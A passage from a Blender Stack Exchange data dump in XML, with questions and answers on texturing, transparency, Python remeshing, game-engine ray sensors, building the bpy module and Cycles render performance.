  <row Id="33133" PostTypeId="2" ParentId="33131" CreationDate="2015-06-28T20:53:42.797" Score="7" Body="&lt;p&gt;Theoretically, a procedural texture is better, in the same way a vector graphic is better then a raster image. It has infinite resolution, can cover any surface, doesn't require UV mapping, and can be created without getting of your chair or browsing on the web. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, an image texture has advantages to. Sometimes a scene, using image textures, can be finished in under an hour, vs a procedural workflow might take days. Image textures also, if sourced from a photograph, can have natural and realistic qualities a procedural textures might not (unless the procedural texture is really really really good).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In list form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Procedural Textures Pros:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Infinite resolution&lt;/li&gt;&#xA;&lt;li&gt;Increased editability&lt;/li&gt;&#xA;&lt;li&gt;Can be applied to nearly any model without repetition or resolution issues.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Image Textures Pros:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fast to &lt;strike&gt;create&lt;/strike&gt; download.&lt;/li&gt;&#xA;&lt;li&gt;Good results easily&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2018-06-10T03:24:03.813" LastActivityDate="2018-06-10T03:24:03.813" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33134" PostTypeId="1" CreationDate="2015-06-28T21:10:54.933" Score="3" ViewCount="3740" Body="&lt;p&gt;In the render result, I'd like to be able to see the DNA inside the football.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5WJYH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the football transparent so that the DNA is clearly visible inside?&lt;/p&gt;&#xA;" OwnerUserId="15295" LastEditorUserId="8262" LastEditDate="2015-11-26T03:03:34.823" LastActivityDate="2015-11-26T03:24:11.140" Title="How to make an object transparent" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33136" PostTypeId="2" ParentId="33134" CreationDate="2015-06-28T21:50:50.877" Score="1" Body="&lt;p&gt;To do this in Cycles, choose cycles render and open node editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create your base material for the football (this should be what it should look like if there wasn't any transparency on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/b7abe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b7abe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then mix this with a transparent shader, and make any necessary shader tweaks to give it the appearance you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QfNzH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QfNzH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The cylinder is positioned inside the sphere, the cube behind it&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please keep in mind that if you prefer to use the Blender Internal Engine, that's perfectly fine, this is just a way to do it using Cycles.&lt;/p&gt;&#xA;" OwnerUserId="15296" LastEditorUserId="8262" LastEditDate="2015-11-26T03:24:11.140" LastActivityDate="2015-11-26T03:24:11.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33137" PostTypeId="2" ParentId="33128" CreationDate="2015-06-28T22:28:37.660" Score="1" Body="&lt;p&gt;You have only 1 UV on each character and your UVs intersect.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pX1it.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sXjDf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15296" LastEditorUserId="2217" LastEditDate="2015-06-28T22:59:21.627" LastActivityDate="2015-06-28T22:59:21.627" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33138" PostTypeId="1" AcceptedAnswerId="33174" CreationDate="2015-06-28T22:30:57.770" Score="1" ViewCount="315" Body="&lt;p&gt;I'm working on a method to compare distances in a space in Python. I am only using the GUI to check my results; all operations are done via a Python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the remesh operator to increase the number of faces of a given primative, so that I can find a pseudo-accurate distance to the object by finding the closest face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to get the remesh to work. However, I'm having trouble accessing the new polygons. It seems there are only the original centers available.. although I am able to see when loading Blender that the number of faces have increased. So, the number of face-centers should also?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mw17p.png&quot; alt=&quot;before remesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Wpty0.png&quot; alt=&quot;after remesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; ob.data.polygons[:]&#xA;[bpy.data.meshes['slab'].polygons[0], bpy.data.meshes['slab'].polygons[1], bpy.data.meshes['slab'].polygons[2], bpy.data.meshes['slab'].polygons[3], bpy.data.meshes['slab'].polygons[4], bpy.data.meshes['slab'].polygons[5], bpy.data.meshes['slab'].polygons[6], bpy.data.meshes['slab'].polygons[7], bpy.data.meshes['slab'].polygons[8], bpy.data.meshes['slab'].polygons[9], bpy.data.meshes['slab'].polygons[10], bpy.data.meshes['slab'].polygons[11], bpy.data.meshes['slab'].polygons[12], bpy.data.meshes['slab'].polygons[13], bpy.data.meshes['slab'].polygons[14], bpy.data.meshes['slab'].polygons[15], bpy.data.meshes['slab'].polygons[16], bpy.data.meshes['slab'].polygons[17], bpy.data.meshes['slab'].polygons[18], bpy.data.meshes['slab'].polygons[19], bpy.data.meshes['slab'].polygons[20], bpy.data.meshes['slab'].polygons[21], bpy.data.meshes['slab'].polygons[22], bpy.data.meshes['slab'].polygons[23], bpy.data.meshes['slab'].polygons[24], bpy.data.meshes['slab'].polygons[25], bpy.data.meshes['slab'].polygons[26], bpy.data.meshes['slab'].polygons[27], bpy.data.meshes['slab'].polygons[28], bpy.data.meshes['slab'].polygons[29], bpy.data.meshes['slab'].polygons[30], bpy.data.meshes['slab'].polygons[31], bpy.data.meshes['slab'].polygons[32], bpy.data.meshes['slab'].polygons[33]]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clearly more than 33 polygons! Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;after remeshing &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY')&#xA;bpy.ops.object.editmode_toggle()&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;after remeshing &lt;code&gt;ob.data.update(calc_edges=True)&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;when reading &lt;code&gt;bpy.ops.object.mode_set(mode='OBJECT')&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15230" LastActivityDate="2015-06-29T17:34:42.343" Title="How to access center of polygons after remesh" Tags="&lt;python&gt;&lt;mesh&gt;&lt;topology&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33139" PostTypeId="1" AcceptedAnswerId="33153" CreationDate="2015-06-28T23:13:29.903" Score="3" ViewCount="987" Body="&lt;p&gt;I want to make a noisy blurred emitting object using compositing nodes.&lt;/p&gt;&#xA;&lt;p&gt;Similar effect which you could see looking through waving water.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M8vwI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1751" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-29T07:31:05.953" Title="Noisy blur using compositing nodes" Tags="&lt;nodes&gt;&lt;blur&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33140" PostTypeId="2" ParentId="32729" CreationDate="2015-06-29T00:56:52.523" Score="2" Body="&lt;p&gt;You are thinking of this backwards from how the ray sensor works. You want to look for &quot;target&quot; no mater what is in front of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a property to everything you want to get hit say &lt;em&gt;&quot;target&quot;&lt;/em&gt;. Then change the ray senor to look only for that property (&lt;em&gt;&quot;target&quot;&lt;/em&gt;) and enable &lt;em&gt;X-Ray Mode&lt;/em&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cDiOu.png&quot; alt=&quot;Ray sensor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last your code can then look like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ray.hitObject:&#xA;    target.worldPosition = ray.hitPosition&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;X-Ray Mode&lt;/em&gt; will let the ray look through everything, and the property will only return the objects with the property &quot;target.&quot;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-06-29T00:56:52.523" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33141" PostTypeId="2" ParentId="31106" CreationDate="2015-06-29T01:11:29.057" Score="3" Body="&lt;p&gt;I don't know of how to export directly to Blender (seems overly complicated), but you could &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy.ops.html&quot; rel=&quot;nofollow&quot;&gt;import PLY/STL/etc&lt;/a&gt; files, and then script all the additional features you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, I was free to choose the original CAD program, so I chose to build directly in Blender via the PyModule. I work with Blender completely separate from the GUI, and rely only on an external python3 and the bpy module. The bpy module is easy to make.. and you can keep it largely separate from your existing blender install (I run from source folder).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Just run this command&lt;/strong&gt; (&lt;em&gt;make sure you don't have a $HOME/src&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git clone http://git.blender.org/blender.git &amp;amp;&amp;amp; cd blender &amp;amp;&amp;amp; git submodule update --init --recursive &amp;amp;&amp;amp; git submodule foreach git checkout master &amp;amp;&amp;amp; git submodule foreach git pull --rebase origin master &amp;amp;&amp;amp; build_files/build_environment/install_deps.sh --with-all --skip-osl &amp;amp;&amp;amp; sudo make bpy &amp;amp;&amp;amp; cd .. &amp;amp;&amp;amp; rm -rf blender &amp;amp;&amp;amp; sudo rm -rf build_linux_bpy &amp;amp;&amp;amp; rm -rf $HOME/src # this gets bpy python module&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also found this: &lt;a href=&quot;https://code.google.com/p/pyblenderfile/&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/pyblenderfile/&lt;/a&gt;&#xA;but, honestly, I don't see much benefit. Its not developed enough to allow importing everything, so I found a better way of doing the same thing using the bpy module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I do is this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- build stuff in blender (I do it via python, without ever starting the official application)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;#build stuff&#xA;bpy.ops.wm.save_as_mainfile(filepath=&quot;./objects8.blend&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-- import the model&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;bpy.ops.wm.open_mainfile(filepath=&quot;./objects8.blend&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works great for me. I have some issues recreating stuff you can do in the GUI, but its mostly because Blender has terrible documentation for code (imo). Still, you can do sweet stuff since you call all the equivalent commands directly in python and it executes using the bpy module.&lt;/p&gt;&#xA;" OwnerUserId="15230" LastEditorUserId="15230" LastEditDate="2015-06-29T01:17:35.317" LastActivityDate="2015-06-29T01:17:35.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33142" PostTypeId="2" ParentId="33121" CreationDate="2015-06-29T01:13:41.057" Score="0" Body="&lt;p&gt;There are two basic problems in this question. One is with respect to future episodes, and the second is whether to fix the current episode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me, the key to for future workflow lies in not extruding faces, because extruding the face results in the creation of the four faces on each side of each extruded face which descends to the mesh base, and partially duplicates the similar face on the adjoining face. This creates your problem. I submit that the key here is extruding vertices, and making a face after all four of the constituent vertices have been extruded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting with one corner, at that corner you will have one (if the plane that would be extruded happens to have vertices which have the same co-ordinates as the base plane) or two vertices with the same x,y co-ordinates. So you extrude (x,y,z') from (x,y,z) so that z' has the appropriate height value.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you move to an adjacent vertex in the base plane. (x',y,z) [or x, y', z]. At this location, there may be zero (if both adjoining planes are at the same z value as the base), one (if both adjoining planes have the same value, but different from the base), or two additional co-ordinate values along the z axis, and if there are two additional values, either may be greater than the other. So extrude from the vertex (x',y, z) along the z axis to reach the lower location with the lower z value of the other two, which will be (x', y, z'), and then extrude again to the other higher z value, (x', y, z''). One of these two extruded z values will be the same height as the z value of the previous base vertex, so create the edge between those two vertices, and create a face between the newly created edge and the edge below it. Repeat this process for each vertex on the edge, until the opposite corner, where there will be only zero or one additional vertices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving to the next row of vertices, (x, y', z), repeat the steps outlined in the previous paragraph for the first vertex in the row, remembering that in this case the first vertex in the row is equivalent to the vertices other than the two corner vertices in the first row. Now when moving to the adjacent vertex along the x axis, (x' y' z), there are four faces which will each have a vertex which maps to the same (x' y') co-ordinates, so there will be as many as four separate vertices to be extruded along the z axis, although it is possible of two or more of the faces happen to be at the same height, there will be fewer than four extruded vertices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Determine the height for the four extruded vertices, (x', y', z'), (x', y', z''), (x', y', z'''), and (x', y', z''''), sort these four z values, and extrude from the base mesh vertex to the lowest z value. If this z value matches the z value of one of the adjacent vertices already extruded, make the edge. Extrude from the lowest extruded vertex to the other three in order of z value, drawing edges as needed. When an edge is drawn, check to see if that edge completes a face, and make the face as well. Repeat the process outlined in the above paragraph and this one for each successive row of vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last row of vertices will be like the first row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this will provide you with what your are looking for, and have the beneficial side effect of providing the possibility of providing a very interesting animation to look at, as the process proceeds across the image. Unfortunately, while my analytical skills are up to devising the method, my programming skills are not up to providing the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as a method to correct your current mesh, this, too, is based upon vertices and edges instead of faces. Again, processing occurs along the vertices of the base mesh. On the perimeter sides of the base mesh, delete all edges where both the ends of the edge lie on the z axis, then construct edges between each two adjacent vertices (adjacent means that given two vertices with co-ordinates (x, y, z) and (x, y, z') there is not vertex with a value between the value of z and the value of z'). The same process is repeated for vertices on the interior of the base mesh (that is vertices which are part of four edges), except that the lowest edge, that the edge between the base mesh and the vertex with the next highest value along the z axis is NOT drawn. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-06-29T01:13:41.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33143" PostTypeId="1" AcceptedAnswerId="33167" CreationDate="2015-06-29T01:13:48.873" Score="0" ViewCount="526" Body="&lt;p&gt;I have tried multiple times to do this but I am having a hard time getting it right.  I have a cartoon mummy that I want to model for use in a game using this as a reference: &lt;img src=&quot;https://i.stack.imgur.com/7D5b5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see the model itself is fairly simple.  However, I am having trouble figuring out how I would go about modeling the thing without the topology getting out of control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple of things about this model that make it difficult to make:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It has a hunchback.  This means that the traditional &quot;start with the face, then work your way back to the neck&quot; style of facial modelling doesn't work effectively.&lt;/li&gt;&#xA;&lt;li&gt;It has minimal facial features, and only one eye.  This means that the topology is often &quot;irregular&quot; in that half of the face is topologically different than the other half.&lt;/li&gt;&#xA;&lt;li&gt;The clothes - how the heck do I add these in?  One method is to use the knife tool to &quot;cut&quot; the mummy robes out and extrude them on normals, but this would lead to terrible topology.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me any pointers?&lt;/p&gt;&#xA;" OwnerUserId="12739" LastEditorUserId="3401" LastEditDate="2015-06-29T08:44:13.427" LastActivityDate="2015-06-30T19:22:45.727" Title="Facial / body topology of this hunchbacked cartoon model?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33144" PostTypeId="2" ParentId="32820" CreationDate="2015-06-29T01:16:35.467" Score="3" Body="&lt;p&gt;All you really need to do is get rid of the &lt;em&gt;Child Of&lt;/em&gt; constraints on all of your bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other thing I did which will improve the accuracy of the simulation, is change the shape of the ridge body collision shapes, so that they are thinner and wider (they can also be much shorter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this picture I have the ridge body collision set to &lt;em&gt;&quot;Box&quot;&lt;/em&gt;, and as you can see it works fine.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xD8Gi.png&quot; alt=&quot;ridge body shapes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For reference here is before and after.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IkKW2.gif&quot; alt=&quot;before&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Xq9k.gif&quot; alt=&quot;after&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-06-29T01:16:35.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33145" PostTypeId="1" AcceptedAnswerId="33154" CreationDate="2015-06-29T01:28:55.860" Score="6" ViewCount="3850" Body="&lt;p&gt;I have create a very basic blender scene with Suzanne and a modified cube with no UVs and only basic materials. The scene contains about 3 emissive lights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the cycles rendering engine, when rendering the exterior scene (3 lights, Suzanne and cube), blender takes 55 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y5bHB.jpg&quot; alt=&quot;Exterior Scene&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when rendering inside of the cube which contains only 1 emissive light, it takes 3 minutes and is relatively slower. Why is it so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R9JrN.jpg&quot; alt=&quot;Inside of Cube&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even the empty inside of Suzanne which contains nothing takes longer time. Why so? Am I doing something wrong or is it natural?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/stvVg.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;em&gt;Note: All the scenes are rendered with exactly the same settings and 6 samples&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="15093" LastEditorUserId="2217" LastEditDate="2015-06-29T01:43:50.163" LastActivityDate="2015-06-30T17:59:39.467" Title="Blender Cycles Slow Rendering Interior Scene" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33146" PostTypeId="1" CreationDate="2015-06-29T02:05:04.930" Score="0" ViewCount="129" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LpqfJ.png&quot; alt=&quot;Model in Perspective&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using an older version of blender and i'm having trouble finding how to apply a gloss or anisotropic shader to the model in blender engine. I'm attempting to apply the shader to the grip and the slide (The gold and dark gray segments) any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/302/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=302&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;enter image description here&lt;/p&gt;&#xA;" OwnerUserId="15259" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-06-29T19:36:23.793" Title="How would I apply a gloss or anisotropic shader to my model?" Tags="&lt;modeling&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33148" PostTypeId="1" CreationDate="2015-06-29T03:22:35.873" Score="0" ViewCount="258" Body="&lt;p&gt;I found a Minecraft rig for Steve on this video from YouTube as a Blender Minecraft tutorial for Minecraft animations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.youtube.com/watch?v=WAOxANDjj5M&quot; rel=&quot;nofollow&quot;&gt;video&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.youtube.com/redirect?q=https%3A%2F%2Fdl.dropboxusercontent.com%2Fu%2F53122678%2Fminecraft_rigV3.zip&amp;amp;redir_token=Uo03eSovzj9xdpLtaccpHwQ7h_V8MTQzNTYzMzA0MEAxNDM1NTQ2NjQw&quot; rel=&quot;nofollow&quot;&gt;rig download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The video said and showed that this rig had a tab in the properties bar called &quot;Minecraft Properties.&quot; However, this tab did not show up on the properties when I downloaded the rig. &lt;/p&gt;&#xA;" OwnerUserId="15300" LastEditorUserId="9735" LastEditDate="2015-06-29T08:38:22.227" LastActivityDate="2017-03-17T23:30:59.303" Title="&quot;Minecraft Properties&quot; tab is not showing up on rig where the tab is supposed to be there" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33149" PostTypeId="2" ParentId="33146" CreationDate="2015-06-29T03:39:34.497" Score="2" Body="&lt;p&gt;Your mesh objects are not rendering because many of them have Material issues. Either they do not have a material set up, OR they have the wrong material type for the render engine chosen. You have the Blender Internal engine selected, but your materials nodes seem to have been set up in Cycles originally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the engine to Cycles allows all the objects to render, so the solution depends on which engine you are intending to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do actually want to use the BI engine, then you need to replace your the nodes in your Materials to use BI type nodes with a proper BI output node.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-29T19:36:23.793" LastActivityDate="2015-06-29T19:36:23.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33150" PostTypeId="1" AcceptedAnswerId="33155" CreationDate="2015-06-29T03:45:10.840" Score="9" ViewCount="3360" Body="&lt;p&gt;I am trying to create something like volumetrics with a falloff: beams of light that shine visibly into the air from an emissive object, becoming gradually less visible as they get farther from the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/upEYj.jpg&quot; alt=&quot;Extruded Light&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This strikes me as involving some sort of volumetrics, which Cycles supports (yay!), but extruding the actual geometry out and giving it an emission volume shader either produces extreme blocks of light or none at all (and it doesn't have that cool flame appearance). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plain text on a plane would be perfect!&lt;/p&gt;&#xA;" OwnerUserId="15301" LastEditorUserId="15301" LastEditDate="2015-06-29T14:07:53.320" LastActivityDate="2015-06-29T14:07:53.320" Title="Create light rays in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" ClosedDate="2015-06-29T12:59:36.927" ContentLicense="CC BY-SA 3.0" />
  <row Id="33151" PostTypeId="1" CreationDate="2015-06-29T06:51:41.583" Score="1" ViewCount="494" Body="&lt;p&gt;I want to limit frequency of possible pushing of keyboard buttons in a game so that the player would not be able to push a button more often than two times a second. Pulse modes seem not to work, because they deal with constant signals, and pushing a button several times is not a constant signal, so I don't know what to use here. &lt;/p&gt;&#xA;" OwnerUserId="13138" LastEditorUserId="3078" LastEditDate="2015-06-29T13:50:07.497" LastActivityDate="2015-07-30T11:14:41.370" Title="How to limit the frequency of pushing of keys in the BGE?" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33152" PostTypeId="2" ParentId="31106" CreationDate="2015-06-29T07:17:56.413" Score="1" Body="&lt;p&gt;There is no official API for writing blender files outside of blender. a few people have written ways of reading blender files though. the only one i have seen in python that is open is Blender Aid&#xA;&lt;a href=&quot;https://code.google.com/p/blender-aid/&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/blender-aid/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it reads the blender file and enters information into a database about links from one file to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be a good starting point for you to write your own script to create blend files if you choose to go this way.&lt;/p&gt;&#xA;" OwnerUserId="5838" LastActivityDate="2015-06-29T07:17:56.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33153" PostTypeId="2" ParentId="33139" CreationDate="2015-06-29T07:25:39.033" Score="6" Body="&lt;p&gt;One way to get an effect like this is by using a noise texture to vary the &lt;em&gt;Size&lt;/em&gt; input of a blur node. Note that &lt;em&gt;Variable Size&lt;/em&gt; must be enabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kJ2JH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By mixing different sizes and types of noise textures, and perhaps throwing in a bit of displacement, you can control the effect to get any sort of look you want. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hbiDX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-06-29T07:31:05.953" LastActivityDate="2015-06-29T07:31:05.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33154" PostTypeId="2" ParentId="33145" CreationDate="2015-06-29T08:48:45.883" Score="7" Body="&lt;p&gt;In outdoor scenes most rays don't bounce much and just fly off into the sky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In indoor scenes almost all the rays will end up reflecting around up to the maximum number of bounces. Not only does this often mean more noise, but also slower rendering (more ray intersection calculations etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can speed this up a little by reducing the number of bounces. You can also try and reduce noise by using &lt;a href=&quot;https://blender.stackexchange.com/q/8152/599&quot;&gt;MIS&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/q/5711/599&quot;&gt;non-mesh lamps&lt;/a&gt; where appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/10434/599&quot;&gt;Spherical emitter does not illuminate very well?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/5309/599&quot;&gt;When should MIS be used and when should it be disabled?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/30407/599&quot;&gt;Managing/Reducing noise in a night scene&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.75/Cycles#Portals&quot; rel=&quot;nofollow noreferrer&quot;&gt;in 2.75 cycles will have &lt;em&gt;Light 